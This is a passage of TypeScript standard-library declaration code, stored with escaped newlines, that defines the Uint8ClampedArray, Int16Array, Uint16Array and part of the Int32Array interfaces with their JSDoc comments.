U, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint8ClampedArray) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint8ClampedArray;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint8ClampedArray;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint8ClampedArray) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint8ClampedArray view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint8ClampedArray;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint8ClampedArrayConstructor {\\n    readonly prototype: Uint8ClampedArray;\\n    new(length: number): Uint8ClampedArray;\\n    new(array: ArrayLike<number>): Uint8ClampedArray;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint8ClampedArray;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint8ClampedArray;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint8ClampedArray;\\n}\\ndeclare const Uint8ClampedArray: Uint8ClampedArrayConstructor;\\n\\n/**\\n  * A typed array of 16-bit signed integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int16Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (this: void, value: number, index: number, array: Int16Array) => any, thisArg?: any): Int16Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int16Array) => void, thisArg?: any): void;\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Int16Array) => number, thisArg?: any): Int16Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int16Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Int16Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Int16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Int16Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Int16Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Int16ArrayConstructor {\\n    readonly prototype: Int16Array;\\n    new(length: number): Int16Array;\\n    new(array: ArrayLike<number>): Int16Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Int16Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Int16Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Int16Array;\\n\\n\\n}\\ndeclare const Int16Array: Int16ArrayConstructor;\\n\\n/**\\n  * A typed array of 16-bit unsigned integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Uint16Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Uint16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Uint16Array) => any, thisArg?: any): Uint16Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Uint16Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (this: void, value: number, index: number, array: Uint16Array) => number, thisArg?: any): Uint16Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Uint16Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Uint16Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Uint16Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Uint16Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    some(callbackfn: (value: number, index: number, array: Uint16Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n      * Sorts an array.\\n      * @param compareFn The name of the function used to determine the order of the elements. If\\n      * omitted, the elements are sorted in ascending, ASCII character order.\\n      */\\n    sort(compareFn?: (a: number, b: number) => number): this;\\n\\n    /**\\n      * Gets a new Uint16Array view of the ArrayBuffer store for this array, referencing the elements\\n      * at begin, inclusive, up to end, exclusive.\\n      * @param begin The index of the beginning of the array.\\n      * @param end The index of the end of the array.\\n      */\\n    subarray(begin: number, end?: number): Uint16Array;\\n\\n    /**\\n      * Converts a number to a string by using the current locale.\\n      */\\n    toLocaleString(): string;\\n\\n    /**\\n      * Returns a string representation of an array.\\n      */\\n    toString(): string;\\n\\n    [index: number]: number;\\n}\\n\\ninterface Uint16ArrayConstructor {\\n    readonly prototype: Uint16Array;\\n    new(length: number): Uint16Array;\\n    new(array: ArrayLike<number>): Uint16Array;\\n    new(buffer: ArrayBufferLike, byteOffset?: number, length?: number): Uint16Array;\\n\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * Returns a new array from a set of elements.\\n      * @param items A set of elements to include in the new array object.\\n      */\\n    of(...items: number[]): Uint16Array;\\n\\n    /**\\n      * Creates an array from an array-like or iterable object.\\n      * @param arrayLike An array-like or iterable object to convert to an array.\\n      * @param mapfn A mapping function to call on every element of the array.\\n      * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n      */\\n    from(arrayLike: ArrayLike<number>, mapfn?: (v: number, k: number) => number, thisArg?: any): Uint16Array;\\n\\n\\n}\\ndeclare const Uint16Array: Uint16ArrayConstructor;\\n/**\\n  * A typed array of 32-bit signed integer values. The contents are initialized to 0. If the\\n  * requested number of bytes could not be allocated an exception is raised.\\n  */\\ninterface Int32Array {\\n    /**\\n      * The size in bytes of each element in the array.\\n      */\\n    readonly BYTES_PER_ELEMENT: number;\\n\\n    /**\\n      * The ArrayBuffer instance referenced by the array.\\n      */\\n    readonly buffer: ArrayBufferLike;\\n\\n    /**\\n      * The length in bytes of the array.\\n      */\\n    readonly byteLength: number;\\n\\n    /**\\n      * The offset in bytes of the array.\\n      */\\n    readonly byteOffset: number;\\n\\n    /**\\n      * Returns the this object after copying a section of the array identified by start and end\\n      * to the same array starting at position target\\n      * @param target If target is negative, it is treated as length+target where length is the\\n      * length of the array.\\n      * @param start If start is negative, it is treated as length+start. If end is negative, it\\n      * is treated as length+end.\\n      * @param end If not specified, length of the this object is used as its default value.\\n      */\\n    copyWithin(target: number, start: number, end?: number): this;\\n\\n    /**\\n      * Determines whether all the members of an array satisfy the specified test.\\n      * @param callbackfn A function that accepts up to three arguments. The every method calls\\n      * the callbackfn function for each element in array1 until the callbackfn returns false,\\n      * or until the end of the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    every(callbackfn: (value: number, index: number, array: Int32Array) => boolean, thisArg?: any): boolean;\\n\\n    /**\\n        * Returns the this object after filling the section identified by start and end with value\\n        * @param value value to fill array section with\\n        * @param start index to start filling the array at. If start is negative, it is treated as\\n        * length+start where length is the length of the array.\\n        * @param end index to stop filling the array at. If end is negative, it is treated as\\n        * length+end.\\n        */\\n    fill(value: number, start?: number, end?: number): this;\\n\\n    /**\\n      * Returns the elements of an array that meet the condition specified in a callback function.\\n      * @param callbackfn A function that accepts up to three arguments. The filter method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    filter(callbackfn: (value: number, index: number, array: Int32Array) => any, thisArg?: any): Int32Array;\\n\\n    /**\\n      * Returns the value of the first element in the array where predicate is true, and undefined\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found, find\\n      * immediately returns that element value. Otherwise, find returns undefined.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    find(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number | undefined;\\n\\n    /**\\n      * Returns the index of the first element in the array where predicate is true, and -1\\n      * otherwise.\\n      * @param predicate find calls predicate once for each element of the array, in ascending\\n      * order, until it finds one where predicate returns true. If such an element is found,\\n      * findIndex immediately returns that element index. Otherwise, findIndex returns -1.\\n      * @param thisArg If provided, it will be used as the this value for each invocation of\\n      * predicate. If it is not provided, undefined is used instead.\\n      */\\n    findIndex(predicate: (value: number, index: number, obj: Array<number>) => boolean, thisArg?: any): number;\\n\\n    /**\\n      * Performs the specified action for each element in an array.\\n      * @param callbackfn  A function that accepts up to three arguments. forEach calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg  An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    forEach(callbackfn: (value: number, index: number, array: Int32Array) => void, thisArg?: any): void;\\n\\n    /**\\n      * Returns the index of the first occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      *  search starts at index 0.\\n      */\\n    indexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * Adds all the elements of an array separated by the specified separator string.\\n      * @param separator A string used to separate one element of an array from the next in the\\n      * resulting String. If omitted, the array elements are separated with a comma.\\n      */\\n    join(separator?: string): string;\\n\\n    /**\\n      * Returns the index of the last occurrence of a value in an array.\\n      * @param searchElement The value to locate in the array.\\n      * @param fromIndex The array index at which to begin the search. If fromIndex is omitted, the\\n      * search starts at index 0.\\n      */\\n    lastIndexOf(searchElement: number, fromIndex?: number): number;\\n\\n    /**\\n      * The length of the array.\\n      */\\n    readonly length: number;\\n\\n    /**\\n      * Calls a defined callback function on each element of an array, and returns an array that\\n      * contains the results.\\n      * @param callbackfn A function that accepts up to three arguments. The map method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param thisArg An object to which the this keyword can refer in the callbackfn function.\\n      * If thisArg is omitted, undefined is used as the this value.\\n      */\\n    map(callbackfn: (value: number, index: number, array: Int32Array) => number, thisArg?: any): Int32Array;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array. The return value of\\n      * the callback function is the accumulated result, and is provided as an argument in the next\\n      * call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduce method calls the\\n      * callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduce<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an\\n      * argument instead of an array value.\\n      */\\n    reduceRight(callbackfn: (previousValue: number, currentValue: number, currentIndex: number, array: Int32Array) => number, initialValue?: number): number;\\n\\n    /**\\n      * Calls the specified callback function for all the elements in an array, in descending order.\\n      * The return value of the callback function is the accumulated result, and is provided as an\\n      * argument in the next call to the callback function.\\n      * @param callbackfn A function that accepts up to four arguments. The reduceRight method calls\\n      * the callbackfn function one time for each element in the array.\\n      * @param initialValue If initialValue is specified, it is used as the initial value to start\\n      * the accumulation. The first call to the callbackfn function provides this value as an argument\\n      * instead of an array value.\\n      */\\n    reduceRight<U>(callbackfn: (previousValue: U, currentValue: number, currentIndex: number, array: Int32Array) => U, initialValue: U): U;\\n\\n    /**\\n      * Reverses the elements in an Array.\\n      */\\n    reverse(): Int32Array;\\n\\n    /**\\n      * Sets a value or an array of values.\\n      * @param array A typed or untyped array of values to set.\\n      * @param offset The index in the current array at which the values are to be written.\\n      */\\n    set(array: ArrayLike<number>, offset?: number): void;\\n\\n    /**\\n      * Returns a section of an array.\\n      * @param start The beginning of the specified portion of the array.\\n      * @param end The end of the specified portion of the array.\\n      */\\n    slice(start?: number, end?: number): Int32Array;\\n\\n    /**\\n      * Determines whether the specified callback function returns true for any element of an array.\\n      * @param callbackfn A function that accepts up to three arguments. The some method calls the\\n      * callbackfn function for each element in array1 until the callbackfn returns true, or until\\n      * 